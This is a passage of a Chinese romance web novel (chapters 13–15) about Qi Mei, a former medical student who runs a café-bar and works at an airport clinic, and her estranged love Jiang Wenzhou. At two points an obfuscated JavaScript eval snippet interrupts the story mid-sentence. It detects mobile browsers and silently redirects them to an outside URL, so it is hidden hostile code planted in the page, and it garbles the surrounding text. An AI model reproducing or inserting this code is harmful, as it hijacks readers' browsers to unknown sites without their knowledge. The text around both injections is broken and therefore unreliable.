那段时间她迷上做手工,就是十字绣一类,本来以为不会很难,解剖做得,缝合也会,拿针线似乎不成问题,但偏偏她就是做不好,总是绣得歪歪扭扭的。 他劝她算了吧,术业有专攻,这明显不是我们的舒适区,她很要强的表示,不可能,只要我努力,就一定会练好的。 那时候的齐眉要强又努力,人生格言是人定胜天,有时候会开玩笑地说:“强扭的瓜没吃过怎么知道不甜,我偏要扭。” 天知道他有多喜欢她说这话时眼睛里的光芒,亮晶晶的,跳动着倔强和认真。 他便以为她说的是这事,忍俊不禁地点头。 但过了两周,他值班的时候,她突然给他带了一碗鸡骨草煲猪横脷,用保温桶装着送到办公室来的,盯着他喝,满眼期待地问他味道怎么样。 很好的,放了胡萝卜和无花果,清甜味中和了鸡骨草本身会有的微微甘苦,他喝完一碗点点头,夸她说跟在家的味道一样。 “那当然了,汤料的发货地就是容城。”她得意地道。 他这才反应过来,原来她那次说的要做成之后再告诉他的事,其实是指煮汤。 可是中间已经隔了两周,也不知道那两周里她到底尝试了多少次。 而他居然也忘了问,只顾着嘱咐她早点复习准备期末考,等暑假的时候给她安排到一附院见习。 如今想来确实不太对,可当时她竟然一点都没有不高兴,只一脸乖巧地应好。 下次有机会问问吧。江问舟在连廊尽头拐了个弯,进入电梯间。 13.第十三章 “没放胡萝卜或者无花果都没关系的,鸡骨草有一点点苦而已,又不是小孩,不会连这点苦都吃不了吧?” 正午时分,齐眉坐在No.12 Diner & Lounge的吧台边上,看着敞开的出餐窗口,笑眯眯的冲里面一个穿着红色针织短衫、顶着泡面头的背影说话。 里面的人扭头,露出一张带着野性美的明艳脸孔,笑嘻嘻道:“我是怕你吃不了苦,我从小就吃苦,不带怕的。” 齐眉听了失笑着叹口气,“你非要这么说的话,我也没办法,回头我要跟阳哥说说,让他对你更好一点。” 对方很明显的被她噎了一下,给她一个白眼,转过头去。 过了会儿又转头:“幸好你告诉我猪横脷是猪脾,不然我就买错了,我还以为是胰脏。” “好像也有这个说法,不懂,干妈教我是猪脾。”齐眉回答道,想起来以前的事,“第一次自己煮还是在大学,发现是苦的,以为是做错了,都不敢给别人吃,觉得反正吃不死,干脆都自己喝了。” “后来呢?”里面的人回头冲她哈哈笑了两声。 “后来就上网查啊,哦,原来可以放点蜜枣或者无花果,就可以中和掉这种苦味了。”齐眉摸摸额头,叹口气,“第二天下课又去菜市场,没买到,央求老板明天给我留一副,来回试了好几次配比,费了两周才觉得煮出了最合适的味道。” 要刚刚好的清甜,不能过度,否则会腻。 听的人咋舌:“要求这么高?” 齐眉理直气壮:“当然,我是要给喜欢的人喝的!” 对方惊呼:“这谁啊,也太命好了吧!” 齐眉嘻嘻笑着,托住腮笑吟吟地往里看。 和她说话的人叫任清葭,是舅舅陆近成的儿子陆阳的未婚妻。 她原来叫任希娣,上面已经有一个姐姐,她是老二,父母为她取这个名字的寓意显而易见。 三岁那年弟弟出生之后,她就这样在父母的忽视中慢慢长大了,直到九岁,才和弟弟一起读的一年级。 高考前夕,弟弟把女朋友的肚子搞大了,女方家里要求结婚,要三十万彩礼,父母一辈子务农,一年的收入供全家花销之后剩不下什么,三十万委实是一笔巨款。 他们拿不出来,又不愿意放弃未出世的孙子,就把主意打到两个女儿身上,决定把她们嫁出去,这不就有彩礼了吗? 大姐当时已经职高毕业,在县里一家小厂子做财务,从小到大被洗脑,家里一说就松口,只有她,在父母领着一个比她大十几岁的光棍佬来看过她一次以后,拿着身份证连夜逃出小村庄。 此后一路南下,几经辗转周折,终于在容城落脚,为了谋生做过很多工作,在饭馆当传菜员,去超市当理货员,也送过外卖帮小猫小狗洗过澡,后来在KTV兼职时,因为长得漂亮被男客人骚扰,陆阳帮了她一把,俩人就这么认识了。 后来还把她介绍到自家名下的场子上班,避免被骚扰的事再次发生,他们刚在一起,家里人就找了过来,她用一笔钱换到了自己的户口。 陆阳陪她回老家转户口,顺便改名字,本来想叫任清,清嘛,清楚明白,她希望自己一辈子都能做个拎得清的人。 陆阳说,加一个字吧,蒹葭的葭,初生的芦苇,朝气蓬勃,希望她能一直有顽强蓬勃的生命力。 再后来陆阳又送她去学西点,据她说是闲聊的时候说到的,她感慨自己高中毕业证都没拿到,虽然本来也考不上什么好大学,但怎么也不应该是高中毕业证都没有的啊。 陆阳就问她还想不想上学,要不找老师补习考个成人高考?她说算了,本来学习就不咋地,年纪大了更学不进,倒是可以考虑找时间去学一门手艺,陆阳说要不去学做西点,学成后可以独立开店,或者自家场子里加几道甜品也不错。 就这么去学了,学完没过多久,恰好就是齐眉从申城回来,陆阳的父亲陆近成上门履约,将用她父母托付的财产交给她,是用门面房拆迁款买下的一幢临街两层铺面。 陪他上门的就是陆阳,说既然她管自己叫舅舅,那么陆阳就是她表哥了。 “有事你就让你哥去办,要帮忙尽管开口,他现在已经基本接手我的生意,资源啊人手啊,都有的,你要重新装修的话,让他给你介绍装修公司,坑你的话我帮你揍他。” 陆阳赶紧说那肯定不会,他可不做坑自己人的事,那样以后他手头困难要周转,会没人借钱给他的,把齐眉逗得一阵好笑。 总之就这么认识了,转天一起吃饭,顺便认识他的未婚妻,彼此都看在陆家父子俩的份上,待对方相当客气友善。 但一顿饭吃完,双方发现跟对方还挺聊得来,遂欣然交换联系方式。 等之前租用铺面的租户清场,齐眉也办完过户手续拿到钥匙了,就和任清葭约着一起去看看。 铺面在思齐路前段,往前走没多远就是路口,沿着大马路走不多远就是容城音乐学院,离着容江边也不算远,附近商业非常繁华。 当时孙茂芸和江眀琮的想法,是让她把铺面租出去,一年十来万肯定有,是个很稳定的收入,毕竟以她的专业,肯定是去医院上班的。 但是没想到齐眉拒绝了,她说她不考虑去医院上班,起初孙茂芸还没听明白,哦哦两声:“还要去读博是吧?你之前讲过的,要申请博士,那更好了,有租收的话,手头也宽松点。” 江眀琮闻言一脸恍然大悟地点头:“哦对,你还没读完书呢,现在说上班还早了点。” 又感慨说现在的学历贬值,以前他们刚参加工作那会儿,普通大学生都很宝贵,不像现在,一个招牌砸下来,十个有八个是本科生,还有两个是研究生。 齐眉听着他们说的话,垂下眼,不敢和他们对视。 好半天才硬着头皮把自己的决定说出来:“我也不去读博,我是……我是不想当医生了。” 这话说完,周围空气一片沉默,她的脖颈在这沉默里往下弯了又弯。 但还努力挺着背,不让自己退缩。 咬着牙等了半天,才听到孙茂芸有些小心地问她:“西西,是不是在学校受欺负啦?” 她永远记得自己当时的心情,难过和愧疚交错在一起,复杂极了。 她很想干脆把所有事情都告诉他们,可是话到嘴边又实在说不出口,因为牵扯到太多。 如果告诉他们,自己被方仕平骚扰,以他们的性格,是绝对会找他要说法的,可她当时已经和方仕平谈了条件——他不再卡着江问舟的进修不放,她闭嘴。 一旦临时反悔,首先她不确定会不会影响江问舟以后在科里的处境,尽管她一意孤行地和他分开,但确确实实希望他能过得更好。 其次她和江问舟的关系会暴露在江眀琮和孙茂芸面前,她不知道他们会是什么反应,但她很怕很怕,很怕从他们脸上看到失望的表情。 从八岁开始,他们代替父母养大了她,供书教学,衣食住行,别人有的她一点都不少,养得甚至比江问舟还精细,她特别特别感激他们,将他们当成亲生父母,所以很不愿意,甚至是害怕,他们对自己感到失望。 她很努力学习,考第一名,漂亮乖巧,从不让家里操心,就是因为知道大人都喜欢这样的小孩。 最喜欢听到干爸干妈跟别人夸她,我们家西西怎么样怎么样,从来不让我们操心,那样骄傲欣慰的语气,她觉得是对她的表扬。 但她同时又很清楚的知道,孙茂芸和江眀琮更加感到骄傲的,其实是江问舟。 他们从来不对别人夸江问舟多好,每次都说哎呀年轻人还嫩着呢,不比你们家谁谁,平时连个电话都懒得打,也不爱回家,孩子养大了就飞喽。 可是他们的语气,和眉眼间的笑意,无一不在表达自己的满意,不常回家又怎么样呢,有出息的孩子就没几个是守在父母身边承欢膝下的。 他们看到社会新闻里说哪儿有医闹,哪儿的医生猝死,都会很担心,要给他们打电话,嘱咐他们出入一定要小心,要好好休息,买很多补品寄到申城。 但绝口不提要不你们换一份工作吧,回来吧,这样的话。 因为他们知道,这是江问舟想做的事,这是他的人生,他们只会默默支持他。 他就像是他们最出色最成功的作品,他们期盼他未来能取得更大的成就,期盼他未来家庭美满。 孙茂芸甚至不止一次,在看电视剧和社会新闻里的家长里短时表示:“以后咱们家孩子,一定要擦亮眼睛找对象,尤其是舟舟,娶妻最重要是大度,拎得清,容不得小姑子的可不行。” 齐眉不知道如果他们知道了自己和江问舟的事,会是什么态度。 是生气?还是失望? 是觉得她破坏了这幅作品,让他们蒙羞,妨碍江问舟的未来,还是觉得她明明已经得到了够多,却还是不知足,贪得无厌到连这个家的体面都不顾。 收养战友遗孤,待她视如己出,最后却成了童养媳,不知情的外人会怎么议论呢?会不会说孙茂芸和江眀琮吃绝户? 齐眉只要想想这些可能出现的情景,就觉得害怕,甚至后悔,当初不该喜欢上江问舟的。 于是面对孙茂芸和江眀琮的追问,她只一味沉默摇头,多问几次,就露出被逼急的表情,说:“就是不喜欢了,本来也没多想当医生,以前觉得当医生不错,但上临床以后,我觉得给是太累了,压力太大,我觉得我承受不了。” 孙茂芸很不解:“高考的时候不起特别坚定的吗?一定要考医学院,说要像你哥那样,以后当个医生,怎么……怎么着就不喜欢了?” 现在的年轻人,就算是人生大事,喜好也变这么快的吗? 孙茂芸和江眀琮劝她再仔细想想,她却一再摇头,不管他们怎么做思想工作,鼓励她坚持下去,她都不愿意。 最后只能无奈地问:“那你以后打算怎么办呢?可不能不上班。” 这回她答应了:“我仔细想想,实在没有想做的事,我就复习考试。” 两口子松口气,那也行吧,考个编制,有个稳定工作,等以后要结婚,也是一个很大的加分项。 见干爸干妈被自己稳住了,齐眉总算松口气。 接下来几天,她每天都会出去溜达溜达,主要是去散心,任清葭听说以后,就问她:“你要不要来店里玩玩?” 她那会儿还没去过酒吧呢,傻乎乎地问:“白天酒吧也营业吗?” “不营业啊,但可以来玩,我教你调酒呗。”任清葭笑嘻嘻地道,“玩到晚上也没事吧?自己家里的店,肯定比外头安全,叫叔叔阿姨放心啦,到时候让陆阳送你回去。” 于是她就去玩了,发现还挺有意思的,各种颜色的基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569711|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒和饮品混在一起,就会变幻出不同的风味,有的酸有的甜,有的奶味明显,有的果味浓郁,她觉得自己像是推开了一扇新的实验大门,一发不可收拾。 她兴致勃勃玩了快一个月还是意犹未尽,也就忽略了孙茂芸和江眀琮几次三番的欲言又止,和担忧的眼神。 这时任清葭正跟陆阳商量,是另外开一家店,她自己管理,锻炼一下能力,还是回到现在的店里继续干以前的活,老板娘嘛,在这儿守一下场子,当吉祥物就行。 商量的时候齐眉刚好过来想让他们尝尝自己调的酒,听到任清葭说要找铺面,一时冲动,问道:“我那儿还有个铺面呢,你们需要吗?” 俩人愣了一下,正犹豫呢,就听齐眉接着问:“或者,你们觉得我也在那儿也开个店怎么样?比如……酒吧?” 说着一指周围,光线迷离的店里正放着轻柔的爵士乐,客人们窃窃私语,还有熟客正在吧台前点酒,和调酒师闲聊,兴高采烈地分享着见闻。 陆阳和任清葭都一愣,惊讶地问她怎么会突然有这种想法。 齐眉说:“突然想试试,反正铺面就在那里,不行就再转租出去呗。” 任清葭想了想,说:“你先回去和叔叔阿姨商量一下,如果他们同意,我们合伙好了。” 这一商量,家里就炸了,孙茂芸和江眀琮无论如何都想不到,她竟然要去做生意。 这年头什么环境啊,毫无经验的人敢去做生意,就是去送韭菜,再说了,“你不是说要考试的吗?” “没有想做的事才考试嘛,我现在有想做的事了啊。”齐眉小声辩解。 她明明很担心很忐忑,但又那么坚定。 似乎还很笃定只要自己坚持,最后一定会成功——后来孙茂芸说,她其实就是仗着他们舍不得让她失望。 江眀琮问清楚她的突发奇想是怎么来的以后,将陆近成叫了过来,三个大人在书房里讨论了很久,谈完之后,陆近成将齐眉单独叫了过去。 “你既然叫我舅舅,那我就得管你,你跟我说说,是不是真的想做这件事?” 见她点点头,陆近成问她:“那有没有想过具体怎么做?” “那没有。”齐眉实话实说,“我就是想试试,我才二十五岁,完全可以大胆一点,三年怎么样?三年之后我才二十八岁,考试应该来得及。” “失败也不怕?”陆近成问她。 她点点头,声音沉静:“我想来想去,都觉得自己其实并不害怕开始新生活,沉没成本不参与重大决策嘛。” 陆近成看了她好半天,点点头,回头对孙茂芸和江眀琮说:“让她试试吧,我给她找个老师,亏了算我的,还有清葭和她作伴呢,就当是多份生活经验,一般人还没机会。” 江眀琮&孙茂芸:“……”妈的,没想到是西西的帮手:) 总之,在陆近成的支持和帮助下,这家叫No.12 Diner & Lounge,装修一派美式复古,白天是咖啡店晚上是清吧的小店,在年尾开业了。 店里白天是任清葭的主场,雇了咖啡师,她负责甜品,晚上齐眉会过来,一直从六点忙到凌晨两点,给她帮忙的主调田乐是陆阳场子里一位调酒师介绍的,副调佟林是陆近成的干儿子,不仅能调酒,还能管事。 放佟林在这儿,帮忙是其次,更重要的是镇场,告诉某些人,这儿是他陆近成罩着的地盘——江眀琮跟齐眉解释了一番,她才意识到,她舅舅的身份并不像她以为的是个单纯的生意人,他是人称成叔的。 又另外找了个厨师,这就开业了。 开业的时候陆近成和陆阳叫了好些朋友来帮衬,加上被开业活动吸引来的客人,场面还挺热闹,等过了三个月,生意稳定了,孙茂芸和江眀琮还来看了几次。 就这么过了差不多半年,第二年春天,淡季还没过,孙茂芸和江眀琮再次跟她提起工作的事,说:“你哥给出了个主意,问你想不想去民航医院,应该是安排在机场的医务点,一个月工作十天,也不影响你照顾店里,收入稳定,就当是找个地方帮忙交社保,你觉得呢?” 江问舟建议的吗?她有些恍惚,说自己要想想。 这回没想多久,她很快就答应了,夫妻俩总算松了口气。 距离那时,已经过了整整两年,齐眉从回忆里回过神,失笑着摇摇头。 当时为什么会答应呢?大概是想着,如果只有这样他才能觉得安心,那她就做吧。 就当是最后一次,为了他做某件事——尽管这时她已经知道自己以前就是网上说的那种,超绝恋爱脑。 但她很不以为然,那又怎么样,江问舟完全值得她的恋爱脑,她也有因为想要靠近他,变得更好啊。 “叮咚!” 手机响了一下,她低头一看,是工作群发的信息。大概是说今年的职工体检即将开始,定在某日至某日,本院承担机场所有员工的体检工作,任务繁重,所以抽调机场急救的同事回院帮忙,班已经排好,请大家届时准点到岗。 齐眉回了个“收到”,退出群聊框,点进朋友圈。 看见的第一条动态就是江问舟刚发的:【自动拾取又忘记关了,从神内会诊回来,多了一支笔[笑哭]谁的笔,麻烦来心外科一病区护士站自取[拜托]】 齐眉看了不禁莞尔,这是只有医学生才懂的笑点呢。 14.第十四章 “And I want to drive you crazy, love. How can I just let go……”[1] 歌手绵软柔情的嗓音犹如萦绕在耳畔的私语,回荡在No.12 Diner & Lounge光线昏黄暧昧的空气里。 LED灯带发出的暖光照在吧台后面的展示墙上,酒瓶和虹吸壶的玻璃反射着微光,在深色胡桃木的台面上形成琥珀色的光晕,看上去特别有氛围。 越是夜深,店里的氛围越安静,连来点单的客人都会不由自主地放低声音:“麻烦,我还想要一杯盘尼西林。” 主调的田乐听到,没有立刻答应,而是问道:“美女,你已经喝了三杯盘尼西林了,还要继续吗?” 盘尼西林的主要成分是苏格兰威士忌、柠檬汁和蜂蜜糖浆,加入泥煤威士忌取其烟熏风味,又加了鲜姜片,让温暖的辛辣感更加明显。 但威士忌的用量确实比较大,所以对方喝了三杯还要再来第四杯,田乐就有点犹豫要不要给她做了。 连刚给客人送完小食拼盘回来的齐眉也忍不住跟着劝:“喝酒伤身,何况还是烈酒,还是少喝点吧,回头酒劲上头,去了医院多不好看。” 对方哎呀一声,娇俏地扭扭腰,撒娇似的道:“最后一杯嘛!乐乐姐你调的酒好喝,我忍不住啦!” 说着又看向齐眉,噘噘嘴:“老板调的也好喝,就是很难抢到,我今晚才喝了一杯,而且你好不会做生意哦,怎么劝客人不要消费的呀?” 齐眉对女孩子的撒娇一向很免疫,闻言也只一本正经回答道:“因为怕你急性酒精中毒啊。” “好吧。”对方应了一声,沉吟几秒,对着田乐举起一根手指,“我要一杯奶油风味的好不好?最后一杯,真的最后一杯,我保证!” 边说边举起三根手指,抿着唇看着田乐。 齐眉看到她贴着大颗水钻的尖尖指尖,昏黄灯光下看不太清她的脸色,但那眼神雾蒙蒙的,她不由得眉头一挑。 “亚历山大?”田乐问道。 女客人应好,干脆在吧台前坐了下来,托着腮跟齐眉搭话:“老板,你说的那什么急性酒精中毒,是什么样子的呀?” “轻度的时候就是单纯醉酒,面色潮红或者苍白,话多,讲起来不停,眼结膜充血,情绪波动比较大,容易兴奋,特别开心或者突然就哭起来,这是在兴奋期。” 齐眉一边回答,一边仔细观察对方,“然后是共济失调期,会变得动作笨拙,走路不稳当,说话也会变得含糊不清,如果继续摄入酒精,醉酒程度加深,症状也会加重,甚至会昏迷,肝肾等人体重要器官也会受损。” 她说到这里,话音一转:“你是自己来的?” “跟男朋友来的啦。”她往吧台右侧一指,看着靠窗那边的位置,扁扁嘴,嘟囔道,“一来就加班!真是不解风情的木头人!” 说完她往吧台上一趴,沮丧地叹气,嘟囔的声音里藏满了委屈:“吃口肉这么难嗷?我好命苦,我恨他是个木头……” 齐眉一噎,好家伙,我听懂了! 不仅她听懂了,田乐也听懂了,嘴角一抽,有点不知道该不该继续调酒。 半晌,齐眉在她的又一声叹息里清了清嗓子:“那你……要不要演一下算了?喝太多确实不好,对吧?” 对方头一抬,眨眨眼:“……什么、怎么演?” “没有啊,什么演,你听错啦。”齐眉头一歪,也眨眨眼,往吧台边一靠,“你看你都喝多了,有没有觉得脸上身上热热的不舒服?情绪也不稳定,不要再喝了,再喝就要走不稳了,万一走路撞到人多不好,还要同行的人送你回去,照顾你,防止你误吸,会窒息的哦,有生命危险。” “这样啊……”对方眨眨眼,哦哟一声,夹着把声音跟齐眉道谢,还有些调侃地说,“老板你懂这么多啊。” 田乐噗嗤笑了一下,低头将白兰地倒入量杯,再转移到雪克壶里。 齐眉装作没听懂对方的意思,笑眯眯地应道:“我大学学的是临床医学,急性酒精中毒的病人还是见过的。” 这时忽然听到一旁一直没出过声的副调佟林问她:“十二点了,阿眉你还不回去?” 他话音刚落,门口绿植旁边正对着吧台的落地座钟铛铛响了起来。 零点整。 “啊,我下班时间到了。”齐眉声音欢快地道,低头喊在吧台角落里睡大觉的年年,“年年快起来,我们要回去了。” 年年早就醒了,闻言张大嘴巴打个哈欠,甩了两下尾巴,这才慢吞吞地起来。 齐眉刚准备给它戴上牵引绳,后吧台处的出餐窗口就探出一张还带着一点稚气的娃娃脸来。 汪淼笑嘻嘻问道:“年年,你饿不饿啊,我给你煮块鸡胸肉啊?” 这是店里负责厨房晚班的厨师,是当时店里要组员工班子,陆近成和陆阳负责安排人,选到厨师人选时,先是在自家一个场子里挑了个大厨的徒弟,考虑到这边日咖夜酒,晚场也要人,准备再挑一个。 陆近成手下的一个经理就说,以前有个兄弟的老娘走了,他儿子中职正好是学厨的,现在要毕业了,要不要给安排一个工作。 陆近成想起来这个兄弟当时为了女朋友金盆洗手回老家,这十几年也没音信,就问:“他过得怎么样?” “刚回去那会儿过得还行,后来生了孩子,他老爹得了癌症,治病花光了钱,老婆不想跟他一起还债,就离了婚,他自己带着儿子跟老娘一块儿住,没过几年,跑长途的时候出车祸人没了,他老娘前年也查出来癌症,觉得时日无多,就从他以前手机的联系人里找到我电话,给我打了个电话,问我能不能帮忙照顾一下孩子。” 那小孩当时刚初中毕业,成绩不太好,要去读中职,就说让他先去吧,学费这边掏了,等毕业就到容城来,叔伯那么多,怎么也不可能饿死。 陆近成听完点点头:“让他过来看看吧,可以的话先培训一下,西西那儿……我先丑话说在前头,人最关键要靠得住,手艺差点还能学,人品不好那可就废了,我不能让骊姐的女儿受别人的气。” 于是汪淼就这么成了No.12 Diner & Lounge的晚班主厨。 他说完不等齐眉回答,转身就从灶台的锅子里捞出来一块水煮鸡胸肉,探身递给年年。 年年立刻嗷呜一口叼走。 齐眉:“……” 她半晌才叹口气,对娃娃脸说:“别给她吃太多,过段时间体检会不过关的。” “今晚第一口,下次我注意。”对方吐吐舌头,赶紧换话题跟齐眉说,“对了眉姐,店里的火腿快没有了。” “行,我跟浪哥说。”齐眉点点头,浪哥是他们店里负责采购的。 年年还在吃鸡胸肉,它吃东西总是很斯文,齐眉只好等它吃完再给它上牵引绳。 等的时候她打开手机看时间,忽然想起来江问舟中午发的朋友圈,遂好奇打开一看,发现一个回复都没有。 她愣了一下,好一会儿才反应过来,不由得失笑。 现在和以前不一样啦,他的那些同事朋友,她全都没有联系方式,又怎么可能看得到有没有人评论或者点赞呢。 她退出朋友圈,看见年年已经吃完了鸡胸肉,给它戴上牵引绳,和大家道了声后天见,这就收工回去了。 出门前还听到刚才聊天的那位女客人问田乐:“你们老板是不常来店里的吗?” 田乐回答说:“要上班啊,这里只是副业而已。” “哇,那……老板是做什么工作的啊?不会真的是当医生的吧?” “猜对了,奖励你一颗葡萄。” 齐眉听到对方惊呼好酷,不由得摇摇头失笑。 曾几何时,她也这样想过。 第二天如常去上班,九点到岗,和前一班的同事交班,交班本上记录的基本是每天的常规事件,比如几点到几点出去巡检了之类。 一般还会记录突发事件,但昨天很平静,无事发生,所以也就没什么记录,齐眉一边签字,一边跟同事闲聊几句。 同事下班以后,齐眉将急救室的床单换了,紫外线消毒灯开起来之后,关上门出来,刚好和补充完药箱回来的陈羽丹碰个正着。 “眉姐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574731|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她把药箱放好,蹭过来好奇兮兮地打量着齐眉。 齐眉问她做什么,她说:“我问你一个问题呗?” 齐眉嗯了声,一面给仪器充上电,一边听她问:“前天来接你下班那个帅哥……是谁啊?” 前天?那就是江问舟了,齐眉刚想回答说是家里人,就听陈羽丹继续道:“肖涵……就是说肠胃不舒服来开药那个,也看见了,当时他脸色就不太好,诶,他是不是在追你啊?” 齐眉闻言心里一顿,话都到了嘴边还临时改口:“哦,你说那个啊,我前男友。” 说完看她一眼,转身往办公桌走,“还有,我跟肖涵什么事也没有,你不谈乱讲。” 陈羽丹的注意力完全被她前一句话吸引,闻言使劲点点头,然后问:“前男友来找你干嘛?” “吃饭。”齐眉淡定敷衍道,拿消毒湿巾擦擦桌子。 陈羽丹一听,更好奇了,连连追问为什么前男友会来找她吃饭,是旧情复燃吗? 齐眉看一眼她眼睛里的好奇神采,笑着叹了口气,摇摇头,语气半是敷衍半是认真:“谁知道呢?” 陈羽丹看出她不想多说,赶紧不再问,正好有头晕的病人来开药,这个话题就这样结束了。 之后就是和平常一样的那些工作,给有需要的旅客下诊断开药,或者情况重点的就建议去医院,下午去警务室帮忙给两个吵架动手的旅客量了血压,都是些琐碎小事,忙起来时间也过得很快。 晚上八点多,医务点里相当安静,陈羽丹正戴着耳机看视频,齐眉看了几篇公众号推送,退出来后点进朋友圈。 没想到看到的第一条动态,又是江问舟发的,简简单单一张猫的照片,一个字也没有。 照片里的金金板鸭趴在沙发上,抬着圆脸,像极了人趴在床上玩手机的姿势,又好像一张金黄色的毛毯,看上去可爱极了。 齐眉犹豫半晌,还是点了个赞。 点个赞而已,不算打扰吧? 可看见这条提醒的江问舟却忍不住眉头一挑,看,就知道什么东西才能召唤到她。 刚揉了一把凑到跟前的猫,手机就响了,来电显示是“爸”。 接起来刚喂了声,就听江眀琮问他:“下班了?” 他嗯了声,一边扯开脖子上的领带,一边问:“您和妈吃饭了吧?” “吃了吃了,我跟你说个事。”江眀琮赶紧进入正题。 江问舟又嗯一声,往旁边一歪,人就倒在沙发上,刚好是金金刚才趴的位置。 江眀琮问:“我有个老朋友,心脏不舒服,想来容城找你看看,你那儿挂号容易么?” “挂谁的?我老师,或者科里几位主任的,不是很容易。”江问舟失笑,“但要是挂我的,那是随便挂。” “那就先看你的呗,反正你看不好你会叫你老师来的。”江眀琮说了句大实话。 江问舟一噎:“……” 无语了一会儿才问:“是什么问题,怎么个不舒服法?” “说是胸闷心悸,一年多两年了,正好要到容城来看看战友,干脆来看看是怎么回事。” 合着看病还是顺带的,江问舟觉得可能也没什么事,就问什么来。 “周末吧,周末你和西西回家来吃饭,你有空么?” 江问舟眨了眨眼,顿了几秒,这才轻轻地嗯了声。 齐眉是在周五晚上才从孙茂芸那儿知道这事的,说是:“你干爸和你妈妈的同学,来容城看病,我和你干爸在家里招待一下他,你也回来一起吃顿饭,见见面,怎么样?” 是母亲的旧友,齐眉没什么拒绝的理由,便答应了,说自己正好今天值班,明天下班就回去。 孙茂芸忙说:“带上年年一起回来。” 说完又嘀咕:“你哥连金金都不留在家里,真是的,他那么忙,哪有时间照顾。” 齐眉失笑,一面安慰她猫是独居动物,不怎么要人陪的,一面又觉得心里有点莫名的感觉,好像哪里怪怪的。 但她没想到,第二天早上下班,接到年年回到家,刚换好衣服,就接到江问舟的电话:“下来,我在你们小区门口。” 15、第十五章 齐眉早上跟接班的同事交完班,就说家里有事,急急忙忙地下了班。 根本没看到和自己擦肩而过的肖涵,倒是陈羽丹见到了,啧啧两声,拿他跟不久前见过的男人相比,忍不住摇摇头。 跟对方那种温和成熟的气质比起来,肖涵就显得青涩太多,跟齐眉站在一起确实有点不协调。 再说了,前任把标准拔得那么高,换了谁都很难再低身俯就吧? 陈羽丹一边嘟囔着什么年少时不能遇上太惊艳的人,一边跟值班医生道别,也下班了。 肖涵站在医务室门口,进也不是,不进也不是,值班的刘医生看见他这局促的模样,露出过来人的微笑:“来找齐眉的吧?” 上次居然没看出来,还以为小伙子真的肠胃不舒服呢,结果是醉翁之意不在酒。 还是年轻好呀。刘医生笑眯眯的,露出个慈爱的笑脸来。 齐眉对身后发生的这一切一无所知,十点过一刻,她的车在宠物店门口停下。 提前接到她信息的店主直接把年年送上了车后座,齐眉道声谢,都来不及和对方寒暄,就踩着油门急急脚走了。 年年把大脑袋从后面伸过来,齐眉一边转着方向盘往小区地下车库开,一边让它坐好。 “我们等下要回爷爷奶奶家哦。” 年年哼唧两声,她又说:“不知道能不能见到你金金姐姐。” 上一次值班的晚上,她在朋友圈看到江问舟发了一张金金的照片,还以为只是偶然,结果没想到这几天每天他都发一张。 大前天是金金在聚精会神地吃罐罐,前天是金金端正地坐在地上仰头用大眼睛看着镜头,昨天是金金抱着钩织的小鱼玩具,还一口咬在鱼尾巴上。 每一张都特别可爱,让人看了心里发软。 她还给陈羽丹看,果不其然听到她的惊呼和好可爱的评价,一时也忘了猫根本不是自己的,忍不住有些得意。 等反应过来,就不好意思地抿抿唇,点了个赞。 点赞这种事,有一就有二,有接下来的无数次,何况第一次点完江问舟也没什么反应,她胆子立刻就大起来,权当是上网冲浪看到可爱猫咪就点个赞。 年年也就见过金金一次,哪里听得懂她说的是谁,只是习惯性地不让她的话落地,刚说完它就继续哼哼两下。 齐眉赶时间,没心情逗它,等回到家一进门,就赶紧去浴室了。 刚洗完澡穿衣服,就听到一阵犬吠从门外传来,她连忙问:“年年,怎么了?” 话音刚落,就听见门外一阵扒拉门的动静,她赶紧开门,一阵手机铃声清晰传入耳中,还是语音通话的那种。 这下不用问怎么了,是小狗在提醒她有电话。 她揉揉年年的大脑袋,急忙去找手机,原以为是干爸干妈要问她什么时候到家,结果一看,是江问舟的。 看到江问舟发来的通话邀请,齐眉愣了一下,竟然有些不知道该不该接。 这一刻心里实实在在是有些慌的,她甚至能清楚地感觉到自己的心跳瞬间加快,甚至后脖颈上隐隐有些冒汗。 天这么热了吗?她心下嘀咕,接着手一抖,电话就接通了。 齐眉:“……”我真不是故意的!!! 下一秒,她都没来得及吭声,就听见江问舟有些冷淡的声音传来:“下来,我在你们小区门口。” 齐眉一愣:“???” 她真的就啊了出声,脱口问道:“为什么?” 江问舟似乎深吸了一口气,才反问她:“家里来客人了,今天要回家吃饭,你知道了么?” 其实也是一句很普通的话,但因为他的语气太过平静,听起来更像是冷淡,甚至是有些不耐烦。 齐眉心里一顿,心里瞬间涌起一股淡淡的委屈:“我当然知道这事,我已经准备出发了,可是你……” 你为什么会出现在这里? “下夜班,妈让我顺路来接你,一起回去。”江问舟立刻解释道。 不知道是不是她的错觉,齐眉觉得他的语气好像好了点。 她哦了声,然后说:“能不能……再等二十分钟?或者十五分钟也行,我还、还有点事……或者你先回去吧,我等下自己回去就好。” 说完她停下来,有些忐忑地咬住下唇。 手机那头安静了一会儿,齐眉都快觉得有点尴尬了,才听到他说了一句:“没事,你先化妆。” 齐眉:“……”你知道的太多了! 她讪讪地应声好,赶紧把电话挂断了,脸上一阵火辣。 江问舟倒是适应良好,被挂了电话也只是耸耸肩,一边喝着咖啡,一边打开家里的摄像头,看看猫在做什么。 正好看见金金凑到摄像头面前做歪头杀,不由得忍俊不禁。 